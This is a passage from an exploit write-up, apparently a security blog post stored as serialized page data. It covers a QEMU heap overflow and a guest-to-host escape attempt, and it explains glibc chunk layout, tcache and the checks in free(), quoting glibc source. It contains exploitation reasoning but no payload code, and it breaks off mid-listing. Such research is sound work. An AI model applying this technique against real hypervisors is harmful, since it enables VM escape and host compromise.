initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":26,"tag":39,"props":37076,"children":37077},{},[37078],{"type":32,"value":37079},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":26,"tag":39,"props":37081,"children":37082},{},[37083],{"type":32,"value":37084},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":26,"tag":631,"props":37086,"children":37088},{"id":37087},"glibc-allocator",[37089],{"type":32,"value":37090},"Glibc Allocator",{"type":26,"tag":39,"props":37092,"children":37093},{},[37094,37096,37103],{"type":32,"value":37095},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":26,"tag":163,"props":37097,"children":37100},{"href":37098,"rel":37099},"https://github.com/shellphish/how2heap",[167],[37101],{"type":32,"value":37102},"how2heap",{"type":32,"value":180},{"type":26,"tag":37105,"props":37106,"children":37108},"h5",{"id":37107},"chunk-layout-and-bins",[37109],{"type":32,"value":37110},"Chunk Layout and Bins",{"type":26,"tag":39,"props":37112,"children":37113},{},[37114],{"type":32,"value":37115},"A chunk looks like this:",{"type":26,"tag":207,"props":37117,"children":37119},{"code":37118},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[37120],{"type":26,"tag":83,"props":37121,"children":37122},{"__ignoreMap":8},[37123],{"type":32,"value":37118},{"type":26,"tag":39,"props":37125,"children":37126},{},[37127,37129,37135,37137,37143,37145,37150,37151,37157,37159,37164,37166,37171,37173,37179,37180,37186,37188,37193],{"type":32,"value":37128},"The first 16 bytes form the chunk header. It consists of the ",{"type":26,"tag":83,"props":37130,"children":37132},{"className":37131},[],[37133],{"type":32,"value":37134},"prev_size",{"type":32,"value":37136}," field at offset ",{"type":26,"tag":83,"props":37138,"children":37140},{"className":37139},[],[37141],{"type":32,"value":37142},"0x0",{"type":32,"value":37144}," and the ",{"type":26,"tag":83,"props":37146,"children":37148},{"className":37147},[],[37149],{"type":32,"value":12431},{"type":32,"value":37136},{"type":26,"tag":83,"props":37152,"children":37154},{"className":37153},[],[37155],{"type":32,"value":37156},"0x8",{"type":32,"value":37158},". As the name suggests, ",{"type":26,"tag":83,"props":37160,"children":37162},{"className":37161},[],[37163],{"type":32,"value":37134},{"type":32,"value":37165}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":26,"tag":83,"props":37167,"children":37169},{"className":37168},[],[37170],{"type":32,"value":12431},{"type":32,"value":37172}," stores the size of the current chunk and three special bits of which ",{"type":26,"tag":83,"props":37174,"children":37176},{"className":37175},[],[37177],{"type":32,"value":37178},"PREV_INUSE",{"type":32,"value":1308},{"type":26,"tag":83,"props":37181,"children":37183},{"className":37182},[],[37184],{"type":32,"value":37185},"IS_MMAPPED",{"type":32,"value":37187}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":26,"tag":83,"props":37189,"children":37191},{"className":37190},[],[37192],{"type":32,"value":14435},{"type":32,"value":180},{"type":26,"tag":39,"props":37195,"children":37196},{},[37197],{"type":32,"value":37198},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":26,"tag":37105,"props":37200,"children":37202},{"id":37201},"free-path",[37203],{"type":32,"value":37204},"free() path",{"type":26,"tag":39,"props":37206,"children":37207},{},[37208,37210,37215],{"type":32,"value":37209},"Let’s first look at the ",{"type":26,"tag":83,"props":37211,"children":37213},{"className":37212},[],[37214],{"type":32,"value":14540},{"type":32,"value":37216}," path in glibc 2.40:",{"type":26,"tag":207,"props":37218,"children":37220},{"code":37219,"language":2255,"meta":8,"className":9574,"style":8},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[37221],{"type":26,"tag":83,"props":37222,"children":37223},{"__ignoreMap":8},[37224,37253,37260,37268,37276,37283,37305,37327,37335,37348,37355,37363,37370,37383,37390,37411,37432,37439],{"type":26,"tag":217,"props":37225,"children":37226},{"class":7028,"line":7029},[37227,37232,37236,37240,37244,37249],{"type":26,"tag":217,"props":37228,"children":37229},{"style":7064},[37230],{"type":32,"value":37231},"__libc_free",{"type":26,"tag":217,"props":37233,"children":37234},{"style":7048},[37235],{"type":32,"value":7051},{"type":26,"tag":217,"props":37237,"children":37238},{"style":7154},[37239],{"type":32,"value":35543},{"type":26,"tag":217,"props":37241,"children":37242},{"style":7149},[37243],{"type":32,"value":9690},{"type":26,"tag":217,"props":37245,"children":37246},{"style":7054},[37247],{"type":32,"value":37248},"mem",{"type":26,"tag":217,"props":37250,"children":37251},{"style":7048},[37252],{"type":32,"value":10025},{"type":26,"tag":217,"props":37254,"children":37255},{"class":7028,"line":6770},[37256],{"type":26,"tag":217,"props":37257,"children":37258},{"style":7048},[37259],{"type":32,"value":10033},{"type":26,"tag":217,"props":37261,"children":37262},{"class":7028,"line":6779},[37263],{"type":26,"tag":217,"props":37264,"children":37265},{"style":7048},[37266],{"type":32,"value":37267},"  mstate ar_ptr;\n",{"type":26,"tag":217,"props":37269,"children":37270},{"class":7028,"line":7140},[37271],{"type":26,"tag":217,"props":37272,"children":37273},{"style":7048},[37274],{"type":32,"value":37275},"  mchunkptr p;\n",{"type":26,"tag":217,"props":37277,"children":37278},{"class":7028,"line":7165},[37279],{"type":26,"tag":217,"props":37280,"children":37281},{"emptyLinePlaceholder":17},[37282],{"type":32,"value":7817},{"type":26,"tag":217,"props":37284,"children":37285},{"class":7028,"line":7178},[37286,37291,37295,37300],{"type":26,"tag":217,"props":37287,"children":37288},{"style":7048},[37289],{"type":32,"value":37290},"  p ",{"type":26,"tag":217,"props":37292,"children":37293},{"style":7149},[37294],{"type":32,"value":267},{"type":26,"tag":217,"props":37296,"children":37297},{"style":7064},[37298],{"type":32,"value":37299}," mem2chunk",{"type":26,"tag":217,"props":37301,"children":37302},{"style":7048},[37303],{"type":32,"value":37304}," (mem);\n",{"type":26,"tag":217,"props":37306,"children":37307},{"class":7028,"line":7389},[37308,37313,37317,37322],{"type":26,"tag":217,"props":37309,"children":37310},{"style":7042},[37311],{"type":32,"value":37312},"  if",{"type":26,"tag":217,"props":37314,"children":37315},{"style":7048},[37316],{"type":32,"value":7051},{"type":26,"tag":217,"props":37318,"children":37319},{"style":7064},[37320],{"type":32,"value":37321},"chunk_is_mmapped",{"type":26,"tag":217,"props":37323,"children":37324},{"style":7048},[37325],{"type":32,"value":37326}," (p))\n",{"type":26,"tag":217,"props":37328,"children":37329},{"class":7028,"line":7406},[37330],{"type":26,"tag":217,"props":37331,"children":37332},{"style":7048},[37333],{"type":32,"value":37334},"    {\n",{"type":26,"tag":217,"props":37336,"children":37337},{"class":7028,"line":7439},[37338,37343],{"type":26,"tag":217,"props":37339,"children":37340},{"style":7064},[37341],{"type":32,"value":37342},"      munmap_chunk",{"type":26,"tag":217,"props":37344,"children":37345},{"style":7048},[37346],{"type":32,"value":37347}," (p);\n",{"type":26,"tag":217,"props":37349,"children":37350},{"class":7028,"line":7487},[37351],{"type":26,"tag":217,"props":37352,"children":37353},{"style":7048},[37354],{"type":32,"value":9754},{"type":26,"tag":217,"props":37356,"children":37357},{"class":7028,"line":7524},[37358],{"type":26,"tag":217,"props":37359,"children":37360},{"style":7042},[37361],{"type":32,"value":37362},"  else\n",{"type":26,"tag":217,"props":37364,"children":37365},{"class":7028,"line":7553},[37366],{"type":26,"tag":217,"props":37367,"children":37368},{"style":7048},[37369],{"type":32,"value":37334},{"type":26,"tag":217,"props":37371,"children":37372},{"class":7028,"line":7570},[37373,37378],{"type":26,"tag":217,"props":37374,"children":37375},{"style":7064},[37376],{"type":32,"value":37377},"      MAYBE_INIT_TCACHE",{"type":26,"tag":217,"props":37379,"children":37380},{"style":7048},[37381],{"type":32,"value":37382}," ();\n",{"type":26,"tag":217,"props":37384,"children":37385},{"class":7028,"line":7621},[37386],{"type":26,"tag":217,"props":37387,"children":37388},{"emptyLinePlaceholder":17},[37389],{"type":32,"value":7817},{"type":26,"tag":217,"props":37391,"children":37392},{"class":7028,"line":7672},[37393,37398,37402,37407],{"type":26,"tag":217,"props":37394,"children":37395},{"style":7048},[37396],{"type":32,"value":37397},"      ar_ptr ",{"type":26,"tag":217,"props":37399,"children":37400},{"style":7149},[37401],{"type":32,"value":267},{"type":26,"tag":217,"props":37403,"children":37404},{"style":7064},[37405],{"type":32,"value":37406}," arena_for_chunk",{"type":26,"tag":217,"props":37408,"children":37409},{"style":7048},[37410],{"type":32,"value":37347},{"type":26,"tag":217,"props":37412,"children":37413},{"class":7028,"line":7681},[37414,37419,37424,37428],{"type":26,"tag":217,"props":37415,"children":37416},{"style":7064},[37417],{"type":32,"value":37418},"      _int_free",{"type":26,"tag":217,"props":37420,"children":37421},{"style":7048},[37422],{"type":32,"value":37423}," (ar_ptr, p, ",{"type":26,"tag":217,"props":37425,"children":37426},{"style":7130},[37427],{"type":32,"value":1883},{"type":26,"tag":217,"props":37429,"children":37430},{"style":7048},[37431],{"type":32,"value":7669},{"type":26,"tag":217,"props":37433,"children":37434},{"class":7028,"line":7754},[37435],{"type":26,"tag":217,"props":37436,"children":37437},{"style":7048},[37438],{"type":32,"value":9754},{"type":26,"tag":217,"props":37440,"children":37441},{"class":7028,"line":7784},[37442],{"type":26,"tag":217,"props":37443,"children":37444},{"style":7048},[37445],{"type":32,"value":7184},{"type":26,"tag":39,"props":37447,"children":37448},{},[37449,37451,37456,37458,37463,37465,37471,37473,37479,37481,37486,37488,37493,37495,37500,37502,37507],{"type":32,"value":37450},"We can see that if the ",{"type":26,"tag":83,"props":37452,"children":37454},{"className":37453},[],[37455],{"type":32,"value":37185},{"type":32,"value":37457}," bit is set in the corrupted ",{"type":26,"tag":83,"props":37459,"children":37461},{"className":37460},[],[37462],{"type":32,"value":12431},{"type":32,"value":37464}," field, glibc will call ",{"type":26,"tag":83,"props":37466,"children":37468},{"className":37467},[],[37469],{"type":32,"value":37470},"munmap_chunk",{"type":32,"value":37472},", which internally checks that ",{"type":26,"tag":83,"props":37474,"children":37476},{"className":37475},[],[37477],{"type":32,"value":37478},"prev_size + size",{"type":32,"value":37480}," is page-aligned. To reach the ",{"type":26,"tag":83,"props":37482,"children":37484},{"className":37483},[],[37485],{"type":32,"value":12431},{"type":32,"value":37487}," field, we first have to overwrite the entire 8-byte ",{"type":26,"tag":83,"props":37489,"children":37491},{"className":37490},[],[37492],{"type":32,"value":37134},{"type":32,"value":37494}," field with uncontrolled data. The chance that a corrupted ",{"type":26,"tag":83,"props":37496,"children":37498},{"className":37497},[],[37499],{"type":32,"value":37478},{"type":32,"value":37501}," value still ends up page-aligned is extremely small. In practice, if ",{"type":26,"tag":83,"props":37503,"children":37505},{"className":37504},[],[37506],{"type":32,"value":37185},{"type":32,"value":37508}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":26,"tag":39,"props":37510,"children":37511},{},[37512,37514,37519,37521,37527],{"type":32,"value":37513},"Assuming ",{"type":26,"tag":83,"props":37515,"children":37517},{"className":37516},[],[37518],{"type":32,"value":37185},{"type":32,"value":37520}," is not set, execution continues into ",{"type":26,"tag":83,"props":37522,"children":37524},{"className":37523},[],[37525],{"type":32,"value":37526},"_int_free",{"type":32,"value":1473},{"type":26,"tag":207,"props":37529,"children":37531},{"code":37530,"language":2255,"meta":8,"className":9574,"style":8},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[37532],{"type":26,"tag":83,"props":37533,"children":37534},{"__ignoreMap":8},[37535,37547,37590,37597,37605,37612,37633,37640,37648,37656,37664,37672,37736,37771,37792,37800,37808,37857,37877,37884,37897,37904],{"type":26,"tag":217,"props":37536,"children":37537},{"class":7028,"line":7029},[37538,37542],{"type":26,"tag":217,"props":37539,"children":37540},{"style":7154},[37541],{"type":32,"value":9987},{"type":26,"tag":217,"props":37543,"children":37544},{"style":7154},[37545],{"type":32,"value":37546}," void\n",{"type":26,"tag":217,"props":37548,"children":37549},{"class":7028,"line":6770},[37550,37554,37559,37564,37569,37573,37577,37581,37586],{"type":26,"tag":217,"props":37551,"children":37552},{"style":7064},[37553],{"type":32,"value":37526},{"type":26,"tag":217,"props":37555,"children":37556},{"style":7048},[37557],{"type":32,"value":37558}," (mstate ",{"type":26,"tag":217,"props":37560,"children":37561},{"style":7054},[37562],{"type":32,"value":37563},"av",{"type":26,"tag":217,"props":37565,"children":37566},{"style":7048},[37567],{"type":32,"value":37568},", mchunkptr ",{"type":26,"tag":217,"props":37570,"children":37571},{"style":7054},[37572],{"type":32,"value":39},{"type":26,"tag":217,"props":37574,"children":37575},{"style":7048},[37576],{"type":32,"value":7599},{"type":26,"tag":217,"props":37578,"children":37579},{"style":7154},[37580],{"type":32,"value":9619},{"type":26,"tag":217,"props":37582,"children":37583},{"style":7054},[37584],{"type":32,"value":37585}," have_lock",{"type":26,"tag":217,"props":37587,"children":37588},{"style":7048},[37589],{"type":32,"value":10025},{"type":26,"tag":217,"props":37591,"children":37592},{"class":7028,"line":6779},[37593],{"type":26,"tag":217,"props":37594,"children":37595},{"style":7048},[37596],{"type":32,"value":10033},{"type":26,"tag":217,"props":37598,"children":37599},{"class":7028,"line":7140},[37600],{"type":26,"tag":217,"props":37601,"children":37602},{"style":7048},[37603],{"type":32,"value":37604},"  INTERNAL_SIZE_T size;\n",{"type":26,"tag":217,"props":37606,"children":37607},{"class":7028,"line":7165},[37608],{"type":26,"tag":217,"props":37609,"children":37610},{"emptyLinePlaceholder":17},[37611],{"type":32,"value":7817},{"type":26,"tag":217,"props":37613,"children":37614},{"class":7028,"line":7178},[37615,37620,37624,37629],{"type":26,"tag":217,"props":37616,"children":37617},{"style":7048},[37618],{"type":32,"value":37619},"  size ",{"type":26,"tag":217,"props":37621,"children":37622},{"style":7149},[37623],{"type":32,"value":267},{"type":26,"tag":217,"props":37625,"children":37626},{"style":7064},[37627],{"type":32,"value":37628}," chunksize",{"type":26,"tag":217,"props":37630,"children":37631},{"style":7048},[37632],{"type":32,"value":37347},{"type":26,"tag":217,"props":37634,"children":37635},{"class":7028,"line":7389},[37636],{"type":26,"tag":217,"props":37637,"children":37638},{"emptyLinePlaceholder":17},[37639],{"type":32,"value":7817},{"type":26,"tag":217,"props":37641,"children":37642},{"class":7028,"line":7406},[37643],{"type":26,"tag":217,"props":37644,"children":37645},{"style":7033},[37646],{"type":32,"value":37647},"  /* Little security check which won't hurt performance: the\n",{"type":26,"tag":217,"props":37649,"children":37650},{"class":7028,"line":7439},[37651],{"type":26,"tag":217,"props":37652,"children":37653},{"style":7033},[37654],{"type":32,"value":37655},"     allocator never wraps around at the end of the address space.\n",{"type":26,"tag":217,"props":37657,"children":37658},{"class":7028,"line":7487},[37659],{"type":26,"tag":217,"props":37660,"children":37661},{"style":7033},[37662],{"type":32,"value":37663},"     Therefore we can exclude some size values which might appear\n",{"type":26,"tag":217,"props":37665,"children":37666},{"class":7028,"line":7524},[37667],{"type":26,"tag":217,"props":37668,"children":37669},{"style":7033},[37670],{"type":32,"value":37671},"     here by accident or by \"design\" from some intruder.  */\n",{"type":26,"tag":217,"props":37673,"children":37674},{"class":7028,"line":7553},[37675,37679,37683,37688,37693,37698,37703,37707,37711,37715,37719,37723,37728,37732],{"type":26,"tag":217,"props":37676,"children":37677},{"style":7042},[37678],{"type":32,"value":37312},{"type":26,"tag":217,"props":37680,"children":37681},{"style":7048},[37682],{"type":32,"value":7051},{"type":26,"tag":217,"props":37684,"children":37685},{"style":7064},[37686],{"type":32,"value":37687},"__builtin_expect",{"type":26,"tag":217,"props":37689,"children":37690},{"style":7048},[37691],{"type":32,"value":37692}," ((",{"type":26,"tag":217,"props":37694,"children":37695},{"style":7154},[37696],{"type":32,"value":37697},"uintptr_t",{"type":26,"tag":217,"props":37699,"children":37700},{"style":7048},[37701],{"type":32,"value":37702},") p ",{"type":26,"tag":217,"props":37704,"children":37705},{"style":7149},[37706],{"type":32,"value":5903},{"type":26,"tag":217,"props":37708,"children":37709},{"style":7048},[37710],{"type":32,"value":7051},{"type":26,"tag":217,"props":37712,"children":37713},{"style":7154},[37714],{"type":32,"value":37697},{"type":26,"tag":217,"props":37716,"children":37717},{"style":7048},[37718],{"type":32,"value":8380},{"type":26,"tag":217,"props":37720,"children":37721},{"style":7149},[37722],{"type":32,"value":18420},{"type":26,"tag":217,"props":37724,"children":37725},{"style":7048},[37726],{"type":32,"value":37727},"size, ",{"type":26,"tag":217,"props":37729,"children":37730},{"style":7130},[37731],{"type":32,"value":1883},{"type":26,"tag":217,"props":37733,"children":37734},{"style":7048},[37735],{"type":32,"value":10025},{"type":26,"tag":217,"props":37737,"children":37738},{"class":7028,"line":7570},[37739,37744,37749,37753,37758,37763,37767],{"type":26,"tag":217,"props":37740,"children":37741},{"style":7149},[37742],{"type":32,"value":37743},"      ||",{"type":26,"tag":217,"props":37745,"children":37746},{"style":7064},[37747],{"type":32,"value":37748}," __builtin_expect",{"type":26,"tag":217,"props":37750,"children":37751},{"style":7048},[37752],{"type":32,"value":7051},{"type":26,"tag":217,"props":37754,"children":37755},{"style":7064},[37756],{"type":32,"value":37757},"misaligned_chunk",{"type":26,"tag":217,"props":37759,"children":37760},{"style":7048},[37761],{"type":32,"value":37762}," (p), ",{"type":26,"tag":217,"props":37764,"children":37765},{"style":7130},[37766],{"type":32,"value":1883},{"type":26,"tag":217,"props":37768,"children":37769},{"style":7048},[37770],{"type":32,"value":18548},{"type":26,"tag":217,"props":37772,"children":37773},{"class":7028,"line":7621},[37774,37779,37783,37788],{"type":26,"tag":217,"props":37775,"children":37776},{"style":7064},[37777],{"type":32,"value":37778},"    malloc_printerr",{"type":26,"tag":217,"props":37780,"children":37781},{"style":7048},[37782],{"type":32,"value":7051},{"type":26,"tag":217,"props":37784,"children":37785},{"style":7338},[37786],{"type":32,"value":37787},"\"free(): invalid pointer\"",{"type":26,"tag":217,"props":37789,"children":37790},{"style":7048},[37791],{"type":32,"value":7669},{"type":26,"tag":217,"props":37793,"children":37794},{"class":7028,"line":7672},[37795],{"type":26,"tag":217,"props":37796,"children":37797},{"style":7033},[37798],{"type":32,"value":37799},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":26,"tag":217,"props":37801,"children":37802},{"class":7028,"line":7681},[37803],{"type":26,"tag":217,"props":37804,"children":37805},{"style":7033},[37806],{"type":32,"value":37807},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":26,"tag":217,"props":37809,"children":37810},{"class":7028,"line":7754},[37811,37815,37819,37824,37829,37833,37838,37842,37847,37852],{"type":26,"tag":217,"props":37812,"children":37813},{"style":7042},[37814],{"type":32,"value":37312},{"type":26,"tag":217,"props":37816,"children":37817},{"style":7048},[37818],{"type":32,"value":7051},{"type":26,"tag":217,"props":37820,"children":37821},{"style":7064},[37822],{"type":32,"value":37823},"__glibc_unlikely",{"type":26,"tag":217,"props":37825,"children":37826},{"style":7048},[37827],{"type":32,"value":37828}," (size ",{"type":26,"tag":217,"props":37830,"children":37831},{"style":7149},[37832],{"type":32,"value":7289},{"type":26,"tag":217,"props":37834,"children":37835},{"style":7048},[37836],{"type":32,"value":37837}," MINSIZE ",{"type":26,"tag":217,"props":37839,"children":37840},{"style":7149},[37841],{"type":32,"value":14802},{"type":26,"tag":217,"props":37843,"children":37844},{"style":7149},[37845],{"type":32,"value":37846}," !",{"type":26,"tag":217,"props":37848,"children":37849},{"style":7064},[37850],{"type":32,"value":37851},"aligned_OK",{"type":26,"tag":217,"props":37853,"children":37854},{"style":7048},[37855],{"type":32,"value":37856}," (size)))\n",{"type":26,"tag":217,"props":37858,"children":37859},{"class":7028,"line":7784},[37860,37864,37868,37873],{"type":26,"tag":217,"props":37861,"children":37862},{"style":7064},[37863],{"type":32,"value":37778},{"type":26,"tag":217,"props":37865,"children":37866},{"style":7048},[37867],{"type":32,"value":7051},{"type":26,"tag":217,"props":37869,"children":37870},{"style":7338},[37871],{"type":32,"value":37872},"\"free(): invalid size\"",{"type":26,"tag":217,"props":37874,"children":37875},{"style":7048},[37876],{"type":32,"value":7669},{"type":26,"tag":217,"props":37878,"children":37879},{"class":7028,"line":7802},[37880],{"type":26,"tag":217,"props":37881,"children":37882},{"emptyLinePlaceholder":17},[37883],{"type":32,"value":7817},{"type":26,"tag":217,"props":37885,"children":37886},{"class":7028,"line":7811},[37887,37892],{"type":26,"tag":217,"props":37888,"children":37889},{"style":7064},[37890],{"type":32,"value":37891},"  check_inuse_chunk",{"type":26,"tag":217,"props":37893,"children":37894},{"style":7048},[37895],{"type":32,"value":37896},"(av, p);\n",{"type":26,"tag":217,"props":37898,"children":37899},{"class":7028,"line":7820},[37900],{"type":26,"tag":217,"props":37901,"children":37902},{"emptyLinePlaceholder":17},[37903],{"type":32,"value":7817},{"type":26,"tag":217,"props":37905,"children":37906},{"class":7028,"line":7844},[37907],{"type":26,"tag":217,"props":37908,"children":37909},{"style":7048},[37910],{"type":32,"value":33157},{"type":26,"tag":39,"props":37912,"children":37913},{},[37914],{"type":32,"value":37915},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":26,"tag":39,"props":37917,"children":37918},{},[37919,37921,37926,37928,37933,37935,37940,37942,37947],{"type":32,"value":37920},"The next check, however, ensures that the ",{"type":26,"tag":83,"props":37922,"children":37924},{"className":37923},[],[37925],{"type":32,"value":12431},{"type":32,"value":37927}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":26,"tag":83,"props":37929,"children":37931},{"className":37930},[],[37932],{"type":32,"value":12431},{"type":32,"value":37934}," must preserve alignment while also avoiding the ",{"type":26,"tag":83,"props":37936,"children":37938},{"className":37937},[],[37939],{"type":32,"value":37185},{"type":32,"value":37941}," bit. Under those constraints, exploiting the bug through ",{"type":26,"tag":83,"props":37943,"children":37945},{"className":37944},[],[37946],{"type":32,"value":12431},{"type":32,"value":37948}," corruption looked very unreliable at first.",{"type":26,"tag":39,"props":37950,"children":37951},{},[37952],{"type":32,"value":37953},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":26,"tag":207,"props":37955,"children":37957},{"code":37956,"language":2255,"meta":8,"className":9574,"style":8},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[37958],{"type":26,"tag":83,"props":37959,"children":37960},{"__ignoreMap":8},[37961,37969,37996,38003,38010,38017,38036,38043,38063,38070,38098,38122,38129,38142,38184,38191,38198,38205,38223],{"type":26,"tag":217,"props":37962,"children":37963},{"class":7028,"line":7029},[37964],{"type":26,"tag":217,"props":37965,"children":37966},{"style":7154},[37967],{"type":32,"value":37968},"void\n",{"type":26,"tag":217,"props":37970,"children":37971},{"class":7028,"line":6770},[37972,37976,37980,37984,37988,37992],{"type":26,"tag":217,"props":37973,"children":37974},{"style":7064},[37975],{"type":32,"value":37231},{"type":26,"tag":217,"props":37977,"children":37978},{"style":7048},[37979],{"type":32,"value":7051},{"type":26,"tag":217,"props":37981,"children":37982},{"style":7154},[37983],{"type":32,"value":35543},{"type":26,"tag":217,"props":37985,"children":37986},{"style":7149},[37987],{"type":32,"value":9690},{"type":26,"tag":217,"props":37989,"children":37990},{"style":7054},[37991],{"type":32,"value":37248},{"type":26,"tag":217,"props":37993,"children":37994},{"style":7048},[37995],{"type":32,"value":10025},{"type":26,"tag":217,"props":37997,"children":37998},{"class":7028,"line":6779},[37999],{"type":26,"tag":217,"props":38000,"children":38001},{"style":7048},[38002],{"type":32,"value":10033},{"type":26,"tag":217,"props":38004,"children":38005},{"class":7028,"line":7140},[38006],{"type":26,"tag":217,"props":38007,"children":38008},{"style":7048},[38009],{"type":32,"value":37275},{"type":26,"tag":217,"props":38011,"children":38012},{"class":7028,"line":7165},[38013],{"type":26,"tag":217,"props":38014,"children":38015},{"emptyLinePlaceholder":17},[38016],{"type":32,"value":7817},{"type":26,"tag":217,"props":38018,"children":38019},{"class":7028,"line":7178},[38020,38024,38028,38032],{"type":26,"tag":217,"props":38021,"children":38022},{"style":7048},[38023],{"type":32,"value":37290},{"type":26,"tag":217,"props":38025,"children":38026},{"style":7149},[38027],{"type":32,"value":267},{"type":26,"tag":217,"props":38029,"children":38030},{"style":7064},[38031],{"type":32,"value":37299},{"type":26,"tag":217,"props":38033,"children":38034},{"style":7048},[38035],{"type":32,"value":37304},{"type":26,"tag":217,"props":38037,"children":38038},{"class":7028,"line":7389},[38039],{"type":26,"tag":217,"props":38040,"children":38041},{"emptyLinePlaceholder":17},[38042],{"type":32,"value":7817},{"type":26,"tag":217,"props":38044,"children":38045},{"class":7028,"line":7406},[38046,38051,38055,38059],{"type":26,"tag":217,"props":38047,"children":38048},{"style":7048},[38049],{"type":32,"value":38050},"  INTERNAL_SIZE_T size ",{"type":26,"tag":217,"props":38052,"children":38053},{"style":7149},[38054],{"type":32,"value":267},{"type":26,"tag":217,"props":38056,"children":38057},{"style":7064},[38058],{"type":32,"value":37628},{"type":26,"tag":217,"props":38060,"children":38061},{"style":7048},[38062],{"type":32,"value":37347},{"type":26,"tag":217,"props":38064,"children":38065},{"class":7028,"line":7439},[38066],{"type":26,"tag":217,"props":38067,"children":38068},{"emptyLinePlaceholder":17},[38069],{"type":32,"value":7817},{"type":26,"tag":217,"props":38071,"children":38072},{"class":7028,"line":7487},[38073,38077,38081,38085,38089,38093],{"type":26,"tag":217,"props":38074,"children":38075},{"style":7042},[38076],{"type":32,"value":37312},{"type":26,"tag":217,"props":38078,"children":38079},{"style":7048},[38080],{"type":32,"value":7051},{"type":26,"tag":217,"props":38082,"children":38083},{"style":7064},[38084],{"type":32,"value":37823},{"type":26,"tag":217,"props":38086,"children":38087},{"style":7048},[38088],{"type":32,"value":7051},{"type":26,"tag":217,"props":38090,"children":38091},{"style":7064},[38092],{"type":32,"value":37757},{"type":26,"tag":217,"props":38094,"children":38095},{"style":7048},[38096],{"type":32,"value":38097}," (p)))\n",{"type":26,"tag":217,"props":38099,"children":38100},{"class":7028,"line":7524},[38101,38105,38110,38114,38118],{"type":26,"tag":217,"props":38102,"children":38103},{"style":7042},[38104],{"type":32,"value":7171},{"type":26,"tag":217,"props":38106,"children":38107},{"style":7064},[38108],{"type":32,"value":38109}," malloc_printerr_tail",{"type":26,"tag":217,"props":38111,"children":38112},{"style":7048},[38113],{"type":32,"value":7051},{"type":26,"tag":217,"props":38115,"children":38116},{"style":7338},[38117],{"type":32,"value":37787},{"type":26,"tag":217,"props":38119,"children":38120},{"style":7048},[38121],{"type":32,"value":7669},{"type":26,"tag":217,"props":38123,"children":38124},{"class":7028,"line":7553},[38125],{"type":26,"tag":217,"props":38126,"children":38127},{"emptyLinePlaceholder":17},[38128],{"type":32,"value":7817},{"type":26,"tag":217,"props":38130,"children":38131},{"class":7028,"line":7570},[38132,38137],{"type":26,"tag":217,"props":38133,"children":38134},{"style":7042},[38135],{"type":32,"value":38136},"#if",{"type":26,"tag":217,"props":38138,"children":38139},{"style":7064},[38140],{"type":32,"value":38141}," USE_TCACHE\n",{"type":26,"tag":217,"props":38143,"children":38144},{"class":7028,"line":7621},[38145,38149,38153,38158,38162,38166,38171,38175,38180],{"type":26,"tag":217,"props":38146,"children":38147},{"style":7042},[38148],{"type":32,"value":37312},{"type":26,"tag":217,"props":38150,"children":38151},{"style":7048},[38152],{"type":32,"value":7051},{"type":26,"tag":217,"props":38154,"children":38155},{"style":7064},[38156],{"type":32,"value":38157},"__glibc_likely",{"type":26,"tag":217,"props":38159,"children":38160},{"style":7048},[38161],{"type":32,"value":37828},{"type":26,"tag":217,"props":38163,"children":38164},{"style":7149},[38165],{"type":32,"value":7289},{"type":26,"tag":217,"props":38167,"children":38168},{"style":7054},[38169],{"type":32,"value":38170}," 